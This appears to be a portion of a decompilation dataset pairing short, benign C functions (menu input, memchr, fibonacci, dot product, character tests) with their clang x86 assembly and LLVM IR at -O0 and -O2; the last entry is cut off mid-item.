xunge/DecIR huggingface dataset:
/* Variables and functions */
int /*<<< orphan*/ fflush(int /*<<< orphan*/);
int /*<<< orphan*/ printf(char *);
int /*<<< orphan*/ scanf(char *, int *);
int /*<<< orphan*/ stdin;
int enterChoice(void) {
  int menuChoice;
  printf("Enter your choice\n"
         "1 - add a new transaction\n"
         "2 - end program\n? ");
  scanf("%d", &menuChoice);
  fflush(stdin);
  return menuChoice;
}


x86 assembly (clang, -O0):
<enterChoice>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
lea    0xec1(%rip),%rdi
call   1030 <printf@plt>
lea    0xef4(%rip),%rdi
lea    -0x4(%rbp),%rsi
call   1050 <scanf@plt>
mov    0x2e8d(%rip),%rax
mov    (%rax),%edi
call   1040 <fflush@plt>
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<enterChoice>:
push   %rax
lea    0xec8(%rip),%rdi
call   1030 <printf@plt>
lea    0xefb(%rip),%rdi
lea    0x4(%rsp),%rsi
call   1050 <scanf@plt>
mov    0x2e93(%rip),%rax
mov    (%rax),%edi
call   1040 <fflush@plt>
mov    0x4(%rsp),%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [63 x i8] c"Enter your choice\0A1 - add a new transaction\0A2 - end program\0A? \00"
@.str.1 = [3 x i8] c"%d\00"
@stdin = global i32 0
define i32 @enterChoice() {
%1 = alloca i32
%2 = call i32 @printf(i8* getelementptr inbounds ([63 x i8], [63 x i8]* @.str, i64 0, i64 0))
%3 = call i32 @scanf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i32* %1)
%4 = load i32, i32* @stdin
%5 = call i32 @fflush(i32 %4)
%6 = load i32, i32* %1
ret i32 %6
}

LLVM IR (-O2):
@.str = [63 x i8] c"Enter your choice\0A1 - add a new transaction\0A2 - end program\0A? \00"
@.str.1 = [3 x i8] c"%d\00"
@stdin = global i32 0
define i32 @enterChoice() {
%1 = alloca i32
%2 = bitcast i32* %1 to i8*
%3 = tail call i32 @printf(i8* dereferenceable(1) getelementptr inbounds ([63 x i8], [63 x i8]* @.str, i64 0, i64 0))
%4 = call i32 @scanf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i32* %1)
%5 = load i32, i32* @stdin
%6 = call i32 @fflush(i32 %5)
%7 = load i32, i32* %1
ret i32 %7
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, char *);
void check2(char **hum) { printf("str: %s\n", *hum); }


x86 assembly (clang, -O0):
<check2>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
mov    (%rax),%rsi
lea    0xed6(%rip),%rdi
call   1030 <printf@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<check2>:
mov    (%rdi),%rsi
lea    0xee6(%rip),%rdi
jmp    1030 <printf@plt>

LLVM IR (-O0):
@.str = [9 x i8] c"str: %s\0A\00"
define void @check2(i8** %0) {
%2 = alloca i8**
store i8** %0, i8*** %2
%3 = load i8**, i8*** %2
%4 = load i8*, i8** %3
%5 = call i32 @printf(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str, i64 0, i64 0), i8* %4)
ret void
}

LLVM IR (-O2):
@.str = [9 x i8] c"str: %s\0A\00"
define void @check2(i8** nocapture %0) {
%2 = load i8*, i8** %0
%3 = tail call i32 @printf(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str, i64 0, i64 0), i8* %2)
ret void
}
/* Variables and functions */
double floor(double const);
char f_trunc(double *a, const double *b) {
  *a = floor(*b);
  return (0);
}


x86 assembly (clang, -O0):
<f_trunc>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x10(%rbp),%rax
movsd  (%rax),%xmm0
call   1030 <floor@plt>
mov    -0x8(%rbp),%rax
movsd  %xmm0,(%rax)
xor    %eax,%eax
movsbl %al,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<f_trunc>:
push   %rbx
mov    %rdi,%rbx
movsd  (%rsi),%xmm0
call   1030 <floor@plt>
movsd  %xmm0,(%rbx)
xor    %eax,%eax
pop    %rbx
ret

LLVM IR (-O0):
define signext i8 @f_trunc(double* %0, double* %1) {
%3 = alloca double*
%4 = alloca double*
store double* %0, double** %3
store double* %1, double** %4
%5 = load double*, double** %4
%6 = load double, double* %5
%7 = call double @llvm.floor.f64(double %6)
%8 = load double*, double** %3
store double %7, double* %8
ret i8 0
}

LLVM IR (-O2):
define signext i8 @f_trunc(double* nocapture writeonly %0, double* nocapture %1) {
%3 = load double, double* %1
%4 = tail call double @llvm.floor.f64(double %3)
store double %4, double* %0
ret i8 0
}
/* Variables and functions */
int /*<<< orphan*/ nrf_write(int, unsigned char *, int);
void __attribute__((unused)) nrf_set_enable(unsigned char enable) {
  nrf_write(0x20 | 0x02, &enable, 1);
}


x86 assembly (clang, -O0):
<nrf_set_enable>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %dil,%al
mov    %al,-0x1(%rbp)
mov    $0x22,%edi
lea    -0x1(%rbp),%rsi
mov    $0x1,%edx
call   1030 <nrf_write@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<nrf_set_enable>:
push   %rax
mov    %dil,0x7(%rsp)
lea    0x7(%rsp),%rsi
mov    $0x22,%edi
mov    $0x1,%edx
call   1030 <nrf_write@plt>
pop    %rax
ret

LLVM IR (-O0):
define void @nrf_set_enable(i8 zeroext %0) {
%2 = alloca i8
store i8 %0, i8* %2
%3 = call i32 @nrf_write(i32 34, i8* %2, i32 1)
ret void
}

LLVM IR (-O2):
define void @nrf_set_enable(i8 zeroext %0) {
%2 = alloca i8
store i8 %0, i8* %2
%3 = call i32 @nrf_write(i32 34, i8* %2, i32 1)
ret void
}
/* Variables and functions */
void *memchr(const void *ptr, int value, size_t n) {
  const unsigned char *p = (const unsigned char *)ptr;
  while (n-- > 0) {
    if (*p == value) {
      return (void *)p;
    }
    ++p;
  };
  return ((void *)0UL);
}


x86 assembly (clang, -O0):
<memchr>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x10(%rbp)
mov    %esi,-0x14(%rbp)
mov    %rdx,-0x20(%rbp)
mov    -0x10(%rbp),%rax
mov    %rax,-0x28(%rbp)
mov    -0x20(%rbp),%rax
mov    %rax,%rcx
add    $0xffffffffffffffff,%rcx
mov    %rcx,-0x20(%rbp)
cmp    $0x0,%rax
jbe    115e <memchr+0x5e>
mov    -0x28(%rbp),%rax
movzbl (%rax),%eax
cmp    -0x14(%rbp),%eax
jne    114d <memchr+0x4d>
mov    -0x28(%rbp),%rax
mov    %rax,-0x8(%rbp)
jmp    1166 <memchr+0x66>
mov    -0x28(%rbp),%rax
add    $0x1,%rax
mov    %rax,-0x28(%rbp)
jmp    1117 <memchr+0x17>
movq   $0x0,-0x8(%rbp)
mov    -0x8(%rbp),%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<memchr>:
test   %rdx,%rdx
je     1124 <memchr+0x24>
mov    %rdi,%rax
nopl   0x0(%rax,%rax,1)
movzbl (%rax),%ecx
cmp    %esi,%ecx
je     1126 <memchr+0x26>
add    $0xffffffffffffffff,%rdx
add    $0x1,%rax
test   %rdx,%rdx
jne    1110 <memchr+0x10>
xor    %eax,%eax
ret

LLVM IR (-O0):
define i8* @memchr(i8* %0, i32 %1, i64 %2) {
%4 = alloca i8*
%5 = alloca i8*
%6 = alloca i32
%7 = alloca i64
%8 = alloca i8*
store i8* %0, i8** %5
store i32 %1, i32* %6
store i64 %2, i64* %7
%9 = load i8*, i8** %5
store i8* %9, i8** %8
br label %10
10: ; preds = %22, %3
%11 = load i64, i64* %7
%12 = add i64 %11, -1
store i64 %12, i64* %7
%13 = icmp ugt i64 %11, 0
br i1 %13, label %14, label %25
14: ; preds = %10
%15 = load i8*, i8** %8
%16 = load i8, i8* %15
%17 = zext i8 %16 to i32
%18 = load i32, i32* %6
%19 = icmp eq i32 %17, %18
br i1 %19, label %20, label %22
20: ; preds = %14
%21 = load i8*, i8** %8
store i8* %21, i8** %4
br label %26
22: ; preds = %14
%23 = load i8*, i8** %8
%24 = getelementptr inbounds i8, i8* %23, i32 1
store i8* %24, i8** %8
br label %10
25: ; preds = %10
store i8* null, i8** %4
br label %26
26: ; preds = %25, %20
%27 = load i8*, i8** %4
ret i8* %27
}

LLVM IR (-O2):
define i8* @memchr(i8* %0, i32 %1, i64 %2) {
%4 = icmp eq i64 %2, 0
br i1 %4, label %15, label %5
5: ; preds = %3, %12
%6 = phi i64 [ %8, %12 ], [ %2, %3 ]
%7 = phi i8* [ %13, %12 ], [ %0, %3 ]
%8 = add i64 %6, -1
%9 = load i8, i8* %7
%10 = zext i8 %9 to i32
%11 = icmp eq i32 %10, %1
br i1 %11, label %15, label %12
12: ; preds = %5
%13 = getelementptr inbounds i8, i8* %7, i64 1
%14 = icmp eq i64 %8, 0
br i1 %14, label %15, label %5
15: ; preds = %5, %12, %3
%16 = phi i8* [ null, %3 ], [ null, %12 ], [ %7, %5 ]
ret i8* %16
}
void g_atomic_int_exchange_and_add() {}


x86 assembly (clang, -O0):
<g_atomic_int_exchange_and_add>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<g_atomic_int_exchange_and_add>:
ret

LLVM IR (-O0):
define void @g_atomic_int_exchange_and_add() {
ret void
}

LLVM IR (-O2):
define void @g_atomic_int_exchange_and_add() {
ret void
}
mayuscula(char a) { return (a >= 'A' && a <= 'Z'); }


x86 assembly (clang, -O0):
<mayuscula>:
push   %rbp
mov    %rsp,%rbp
mov    %dil,%al
mov    %al,-0x1(%rbp)
movsbl -0x1(%rbp),%ecx
xor    %eax,%eax
cmp    $0x41,%ecx
mov    %al,-0x2(%rbp)
jl     1129 <mayuscula+0x29>
movsbl -0x1(%rbp),%eax
cmp    $0x5a,%eax
setle  %al
mov    %al,-0x2(%rbp)
mov    -0x2(%rbp),%al
and    $0x1,%al
movzbl %al,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<mayuscula>:
add    $0xbf,%dil
xor    %eax,%eax
cmp    $0x1a,%dil
setb   %al
ret

LLVM IR (-O0):
define i32 @mayuscula(i8 signext %0) {
%2 = alloca i8
store i8 %0, i8* %2
%3 = load i8, i8* %2
%4 = sext i8 %3 to i32
%5 = icmp sge i32 %4, 65
br i1 %5, label %6, label %10
6: ; preds = %1
%7 = load i8, i8* %2
%8 = sext i8 %7 to i32
%9 = icmp sle i32 %8, 90
br label %10
10: ; preds = %6, %1
%11 = phi i1 [ false, %1 ], [ %9, %6 ]
%12 = zext i1 %11 to i32
ret i32 %12
}

LLVM IR (-O2):
define i32 @mayuscula(i8 signext %0) {
%2 = add i8 %0, -65
%3 = icmp ult i8 %2, 26
%4 = zext i1 %3 to i32
ret i32 %4
}
double dotProd(const double *x1, const double *x2) {
  return (x1[0] * x2[0] + x1[1] * x2[1] + x1[2] * x2[2]);
}


x86 assembly (clang, -O0):
<dotProd>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%rax
movsd  (%rax),%xmm1
mov    -0x10(%rbp),%rax
movsd  (%rax),%xmm2
mov    -0x8(%rbp),%rax
movsd  0x8(%rax),%xmm0
mov    -0x10(%rbp),%rax
mulsd  0x8(%rax),%xmm0
mulsd  %xmm2,%xmm1
addsd  %xmm0,%xmm1
mov    -0x8(%rbp),%rax
movsd  0x10(%rax),%xmm0
mov    -0x10(%rbp),%rax
movsd  0x10(%rax),%xmm2
mulsd  %xmm2,%xmm0
addsd  %xmm1,%xmm0
pop    %rbp
ret

x86 assembly (clang, -O2):
<dotProd>:
movsd  0x8(%rdi),%xmm0
mulsd  0x8(%rsi),%xmm0
movsd  (%rdi),%xmm1
mulsd  (%rsi),%xmm1
addsd  %xmm0,%xmm1
movsd  0x10(%rdi),%xmm0
mulsd  0x10(%rsi),%xmm0
addsd  %xmm1,%xmm0
ret

LLVM IR (-O0):
define double @dotProd(double* %0, double* %1) {
%3 = alloca double*
%4 = alloca double*
store double* %0, double** %3
store double* %1, double** %4
%5 = load double*, double** %3
%6 = getelementptr inbounds double, double* %5, i64 0
%7 = load double, double* %6
%8 = load double*, double** %4
%9 = getelementptr inbounds double, double* %8, i64 0
%10 = load double, double* %9
%11 = load double*, double** %3
%12 = getelementptr inbounds double, double* %11, i64 1
%13 = load double, double* %12
%14 = load double*, double** %4
%15 = getelementptr inbounds double, double* %14, i64 1
%16 = load double, double* %15
%17 = fmul double %13, %16
%18 = call double @llvm.fmuladd.f64(double %7, double %10, double %17)
%19 = load double*, double** %3
%20 = getelementptr inbounds double, double* %19, i64 2
%21 = load double, double* %20
%22 = load double*, double** %4
%23 = getelementptr inbounds double, double* %22, i64 2
%24 = load double, double* %23
%25 = call double @llvm.fmuladd.f64(double %21, double %24, double %18)
ret double %25
}

LLVM IR (-O2):
define double @dotProd(double* nocapture %0, double* nocapture %1) {
%3 = load double, double* %0
%4 = load double, double* %1
%5 = getelementptr inbounds double, double* %0, i64 1
%6 = load double, double* %5
%7 = getelementptr inbounds double, double* %1, i64 1
%8 = load double, double* %7
%9 = fmul double %6, %8
%10 = tail call double @llvm.fmuladd.f64(double %3, double %4, double %9)
%11 = getelementptr inbounds double, double* %0, i64 2
%12 = load double, double* %11
%13 = getelementptr inbounds double, double* %1, i64 2
%14 = load double, double* %13
%15 = tail call double @llvm.fmuladd.f64(double %12, double %14, double %10)
ret double %15
}
/* Variables and functions */
double sqrt(double);
double f(double x) { return ((x > 0.0) ? (1.0 / sqrt(x)) : 0.0); }


x86 assembly (clang, -O0):
<f>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movsd  %xmm0,-0x8(%rbp)
movsd  -0x8(%rbp),%xmm0
xorps  %xmm1,%xmm1
ucomisd %xmm1,%xmm0
jbe    1152 <f+0x42>
movsd  -0x8(%rbp),%xmm0
call   1030 <sqrt@plt>
movaps %xmm0,%xmm1
movsd  0xebc(%rip),%xmm0
divsd  %xmm1,%xmm0
movsd  %xmm0,-0x10(%rbp)
jmp    115f <f+0x4f>
xorps  %xmm0,%xmm0
movsd  %xmm0,-0x10(%rbp)
jmp    115f <f+0x4f>
movsd  -0x10(%rbp),%xmm0
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<f>:
xorpd  %xmm1,%xmm1
ucomisd %xmm1,%xmm0
jbe    1140 <f+0x30>
push   %rax
xorpd  %xmm1,%xmm1
ucomisd %xmm1,%xmm0
jb     112b <f+0x1b>
sqrtsd %xmm0,%xmm0
jmp    1130 <f+0x20>
call   1030 <sqrt@plt>
movsd  0xec8(%rip),%xmm1
divsd  %xmm0,%xmm1
add    $0x8,%rsp
movapd %xmm1,%xmm0
ret

LLVM IR (-O0):
define double @f(double %0) {
%2 = alloca double
store double %0, double* %2
%3 = load double, double* %2
%4 = fcmp ogt double %3, 0.000000e+00
br i1 %4, label %5, label %9
5: ; preds = %1
%6 = load double, double* %2
%7 = call double @sqrt(double %6)
%8 = fdiv double 1.000000e+00, %7
br label %10
9: ; preds = %1
br label %10
10: ; preds = %9, %5
%11 = phi double [ %8, %5 ], [ 0.000000e+00, %9 ]
ret double %11
}

LLVM IR (-O2):
define double @f(double %0) {
%2 = fcmp ogt double %0, 0.000000e+00
br i1 %2, label %3, label %6
3: ; preds = %1
%4 = tail call double @sqrt(double %0)
%5 = fdiv double 1.000000e+00, %4
br label %6
6: ; preds = %1, %3
%7 = phi double [ %5, %3 ], [ 0.000000e+00, %1 ]
ret double %7
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
char *realloc(char *, int);
char *realloc_more(char **pbuf, int new_size) {
  char *temp;
  temp = realloc(*pbuf, new_size);
  if (!temp) {
    printf("realloc fatal error!\n");
    return NULL;
  } else {
    *pbuf = temp;
    return temp;
  }
}


x86 assembly (clang, -O0):
<realloc_more>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x10(%rbp)
mov    %esi,-0x14(%rbp)
mov    -0x10(%rbp),%rax
mov    (%rax),%rdi
mov    -0x14(%rbp),%esi
call   1040 <realloc@plt>
mov    %rax,-0x20(%rbp)
cmpq   $0x0,-0x20(%rbp)
jne    1166 <realloc_more+0x46>
lea    0xeac(%rip),%rdi
call   1030 <printf@plt>
movq   $0x0,-0x8(%rbp)
jmp    1179 <realloc_more+0x59>
mov    -0x20(%rbp),%rcx
mov    -0x10(%rbp),%rax
mov    %rcx,(%rax)
mov    -0x20(%rbp),%rax
mov    %rax,-0x8(%rbp)
mov    -0x8(%rbp),%rax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<realloc_more>:
push   %r14
push   %rbx
push   %rax
mov    %rdi,%r14
mov    (%rdi),%rdi
call   1040 <realloc@plt>
mov    %rax,%rbx
test   %rax,%rax
je     113c <realloc_more+0x1c>
mov    %rbx,(%r14)
jmp    1148 <realloc_more+0x28>
lea    0xebd(%rip),%rdi
call   1030 <puts@plt>
mov    %rbx,%rax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
@.str = [22 x i8] c"realloc fatal error!\0A\00"
define i8* @realloc_more(i8** %0, i32 %1) {
%3 = alloca i8*
%4 = alloca i8**
%5 = alloca i32
%6 = alloca i8*
store i8** %0, i8*** %4
store i32 %1, i32* %5
%7 = load i8**, i8*** %4
%8 = load i8*, i8** %7
%9 = load i32, i32* %5
%10 = call i8* @realloc(i8* %8, i32 %9)
store i8* %10, i8** %6
%11 = load i8*, i8** %6
%12 = icmp ne i8* %11, null
br i1 %12, label %15, label %13
13: ; preds = %2
%14 = call i32 @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str, i64 0, i64 0))
store i8* null, i8** %3
br label %19
15: ; preds = %2
%16 = load i8*, i8** %6
%17 = load i8**, i8*** %4
store i8* %16, i8** %17
%18 = load i8*, i8** %6
store i8* %18, i8** %3
br label %19
19: ; preds = %15, %13
%20 = load i8*, i8** %3
ret i8* %20
}

LLVM IR (-O2):
@str = [21 x i8] c"realloc fatal error!\00"
define i8* @realloc_more(i8** nocapture %0, i32 %1) {
%3 = load i8*, i8** %0
%4 = tail call i8* @realloc(i8* %3, i32 %1)
%5 = icmp eq i8* %4, null
br i1 %5, label %6, label %8
6: ; preds = %2
%7 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str, i64 0, i64 0))
br label %9
8: ; preds = %2
store i8* %4, i8** %0
br label %9
9: ; preds = %8, %6
ret i8* %4
}
int calc_wTiles(int width) {
  return ((((width) + (128 - 1)) & ~(128 - 1)) / 64);
}


x86 assembly (clang, -O0):
<calc_wTiles>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x7f,%eax
and    $0xffffff80,%eax
mov    $0x40,%ecx
cltd
idiv   %ecx
pop    %rbp
ret

x86 assembly (clang, -O2):
<calc_wTiles>:
lea    0x7f(%rdi),%ecx
and    $0xffffff80,%ecx
lea    0x3f(%rcx),%eax
test   %ecx,%ecx
cmovns %ecx,%eax
sar    $0x6,%eax
ret

LLVM IR (-O0):
define i32 @calc_wTiles(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = add nsw i32 %3, 127
%5 = and i32 %4, -128
%6 = sdiv i32 %5, 64
ret i32 %6
}

LLVM IR (-O2):
define i32 @calc_wTiles(i32 %0) {
%2 = add nsw i32 %0, 127
%3 = and i32 %2, -128
%4 = sdiv i32 %3, 64
ret i32 %4
}
int __isdigit_ascii(int ch) { return (unsigned int)(ch - '0') < 10u; }


x86 assembly (clang, -O0):
<__isdigit_ascii>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%eax
sub    $0x30,%eax
cmp    $0xa,%eax
setb   %al
and    $0x1,%al
movzbl %al,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<__isdigit_ascii>:
add    $0xffffffd0,%edi
xor    %eax,%eax
cmp    $0xa,%edi
setb   %al
ret

LLVM IR (-O0):
define i32 @__isdigit_ascii(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = sub nsw i32 %3, 48
%5 = icmp ult i32 %4, 10
%6 = zext i1 %5 to i32
ret i32 %6
}

LLVM IR (-O2):
define i32 @__isdigit_ascii(i32 %0) {
%2 = add nsw i32 %0, -48
%3 = icmp ult i32 %2, 10
%4 = zext i1 %3 to i32
ret i32 %4
}
/* Variables and functions */
int /*<<< orphan*/ _Error(long, char *);
void Error_SyntaxMethodArgumentsMustMatch(long p_position) {
  _Error(p_position, "Syntax method arguments must be in the same order as in "
                     "the syntax rule");
}


x86 assembly (clang, -O0):
<Error_SyntaxMethodArgumentsMustMatch>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
lea    0xed9(%rip),%rsi
call   1030 <_Error@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<Error_SyntaxMethodArgumentsMustMatch>:
lea    0xee9(%rip),%rsi
jmp    1030 <_Error@plt>

LLVM IR (-O0):
@.str = [72 x i8] c"Syntax method arguments must be in the same order as in the syntax rule\00"
define void @Error_SyntaxMethodArgumentsMustMatch(i64 %0) {
%2 = alloca i64
store i64 %0, i64* %2
%3 = load i64, i64* %2
%4 = call i32 @_Error(i64 %3, i8* getelementptr inbounds ([72 x i8], [72 x i8]* @.str, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@.str = [72 x i8] c"Syntax method arguments must be in the same order as in the syntax rule\00"
define void @Error_SyntaxMethodArgumentsMustMatch(i64 %0) {
%2 = tail call i32 @_Error(i64 %0, i8* getelementptr inbounds ([72 x i8], [72 x i8]* @.str, i64 0, i64 0))
ret void
}
int fibonacci(int val) {
  int val2 = val;
  if (val2 == 0)
    return 0;
  if (val2 == 1)
    return 1;
  return fibonacci(val2 - 1) + fibonacci(val2 - 2);
}


x86 assembly (clang, -O0):
<fibonacci>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x8(%rbp)
mov    -0x8(%rbp),%eax
mov    %eax,-0xc(%rbp)
cmpl   $0x0,-0xc(%rbp)
jne    1137 <fibonacci+0x27>
movl   $0x0,-0x4(%rbp)
jmp    1170 <fibonacci+0x60>
cmpl   $0x1,-0xc(%rbp)
jne    114d <fibonacci+0x3d>
movl   $0x1,-0x4(%rbp)
jmp    1170 <fibonacci+0x60>
mov    -0xc(%rbp),%edi
sub    $0x1,%edi
call   1030 <fibonacci@plt>
mov    %eax,-0x10(%rbp)
mov    -0xc(%rbp),%edi
sub    $0x2,%edi
call   1030 <fibonacci@plt>
mov    %eax,%ecx
mov    -0x10(%rbp),%eax
add    %ecx,%eax
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<fibonacci>:
push   %rbp
push   %rbx
push   %rax
mov    %edi,%ebx
xor    %ebp,%ebp
cmp    $0x2,%ebx
jb     1132 <fibonacci+0x22>
nopl   0x0(%rax)
lea    -0x1(%rbx),%edi
call   1030 <fibonacci@plt>
add    %eax,%ebp
add    $0xfffffffe,%ebx
cmp    $0x2,%ebx
jae    1120 <fibonacci+0x10>
add    %ebp,%ebx
mov    %ebx,%eax
add    $0x8,%rsp
pop    %rbx
pop    %rbp
ret

LLVM IR (-O0):
define i32 @fibonacci(i32 %0) {
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
%5 = load i32, i32* %3
store i32 %5, i32* %4
%6 = load i32, i32* %4
%7 = icmp eq i32 %6, 0
br i1 %7, label %8, label %9
8: ; preds = %1
store i32 0, i32* %2
br label %21
9: ; preds = %1
%10 = load i32, i32* %4
%11 = icmp eq i32 %10, 1
br i1 %11, label %12, label %13
12: ; preds = %9
store i32 1, i32* %2
br label %21
13: ; preds = %9
%14 = load i32, i32* %4
%15 = sub nsw i32 %14, 1
%16 = call i32 @fibonacci(i32 %15)
%17 = load i32, i32* %4
%18 = sub nsw i32 %17, 2
%19 = call i32 @fibonacci(i32 %18)
%20 = add nsw i32 %16, %19
store i32 %20, i32* %2
br label %21
21: ; preds = %13, %12, %8
%22 = load i32, i32* %2
ret i32 %22
}

LLVM IR (-O2):
define i32 @fibonacci(i32 %0) {
br label %2
2: ; preds = %6, %1
%3 = phi i32 [ 0, %1 ], [ %10, %6 ]
%4 = phi i32 [ %0, %1 ], [ %9, %6 ]
%5 = icmp ult i32 %4, 2
br i1 %5, label %11, label %6
6: ; preds = %2
%7 = add nsw i32 %4, -1
%8 = tail call i32 @fibonacci(i32 %7)
%9 = add nsw i32 %4, -2
%10 = add nsw i32 %8, %3
br label %2
11: ; preds = %2
%12 = add nsw i32 %4, %3
ret i32 %12
}
int check_if(int r, int product) {
  int rem;
  while (product) {
    rem = product % 10;
    if (rem == r) {
      return 1;
    }
    product = product / 10;
  }
  return 0;
}


x86 assembly (clang, -O0):
<check_if>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
cmpl   $0x0,-0xc(%rbp)
je     114d <check_if+0x4d>
mov    -0xc(%rbp),%eax
mov    $0xa,%ecx
cltd
idiv   %ecx
mov    %edx,-0x10(%rbp)
mov    -0x10(%rbp),%eax
cmp    -0x8(%rbp),%eax
jne    113a <check_if+0x3a>
movl   $0x1,-0x4(%rbp)
jmp    1154 <check_if+0x54>
mov    -0xc(%rbp),%eax
mov    $0xa,%ecx
cltd
idiv   %ecx
mov    %eax,-0xc(%rbp)
jmp    110a <check_if+0xa>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<check_if>:
xor    %eax,%eax
test   %esi,%esi
je     113f <check_if+0x3f>
cs nopw 0x0(%rax,%rax,1)
movslq %esi,%r8
imul   $0x66666667,%r8,%rcx
mov    %rcx,%rdx
shr    $0x3f,%rdx
sar    $0x22,%rcx
add    %edx,%ecx
lea    (%rcx,%rcx,1),%edx
lea    (%rdx,%rdx,4),%edx
sub    %edx,%r8d
cmp    %edi,%r8d
je     1140 <check_if+0x40>
add    $0x9,%esi
cmp    $0x12,%esi
mov    %ecx,%esi
ja     1110 <check_if+0x10>
ret
mov    $0x1,%eax
ret

LLVM IR (-O0):
define i32 @check_if(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
%6 = alloca i32
store i32 %0, i32* %4
store i32 %1, i32* %5
br label %7
7: ; preds = %17, %2
%8 = load i32, i32* %5
%9 = icmp ne i32 %8, 0
br i1 %9, label %10, label %20
10: ; preds = %7
%11 = load i32, i32* %5
%12 = srem i32 %11, 10
store i32 %12, i32* %6
%13 = load i32, i32* %6
%14 = load i32, i32* %4
%15 = icmp eq i32 %13, %14
br i1 %15, label %16, label %17
16: ; preds = %10
store i32 1, i32* %3
br label %21
17: ; preds = %10
%18 = load i32, i32* %5
%19 = sdiv i32 %18, 10
store i32 %19, i32* %5
br label %7
20: ; preds = %7
store i32 0, i32* %3
br label %21
21: ; preds = %20, %16
%22 = load i32, i32* %3
ret i32 %22
}

LLVM IR (-O2):
define i32 @check_if(i32 %0, i32 %1) {
%3 = icmp eq i32 %1, 0
br i1 %3, label %12, label %4
4: ; preds = %2, %9
%5 = phi i32 [ %7, %9 ], [ %1, %2 ]
%6 = srem i32 %5, 10
%7 = sdiv i32 %5, 10
%8 = icmp eq i32 %6, %0
br i1 %8, label %12, label %9
9: ; preds = %4
%10 = add i32 %5, 9
%11 = icmp ult i32 %10, 19
br i1 %11, label %12, label %4
12: ; preds = %4, %9, %2
%13 = phi i32 [ 0, %2 ], [ 0, %9 ], [ 1, %4 ]
ret i32 %13
}
/* Variables and functions */
int /*<<< orphan*/ Assert_real(int, char *, int, char *);
scalar_t__ isbdigit(int);
void t_isbdigit_0x76() {
  Assert_real((isbdigit(118) == 0),
              "/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/"
              "2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/"
              "dg/z88dk/test/suites/ctype/test_isbdigit.c",
              595, ("isbdigit should be 0 for v"));
}


x86 assembly (clang, -O0):
<t_isbdigit_0x76>:
push   %rbp
mov    %rsp,%rbp
mov    $0x76,%edi
call   1040 <isbdigit@plt>
cmp    $0x0,%rax
sete   %al
and    $0x1,%al
movzbl %al,%edi
lea    0xebf(%rip),%rsi
mov    $0x253,%edx
lea    0xf5c(%rip),%rcx
call   1030 <Assert_real@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<t_isbdigit_0x76>:
push   %rax
mov    $0x76,%edi
call   1040 <isbdigit@plt>
xor    %edi,%edi
test   %rax,%rax
sete   %dil
lea    0xec5(%rip),%rsi
lea    0xf67(%rip),%rcx
mov    $0x253,%edx
pop    %rax
jmp    1030 <Assert_real@plt>

LLVM IR (-O0):
@.str = [169 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_isbdigit.c\00"
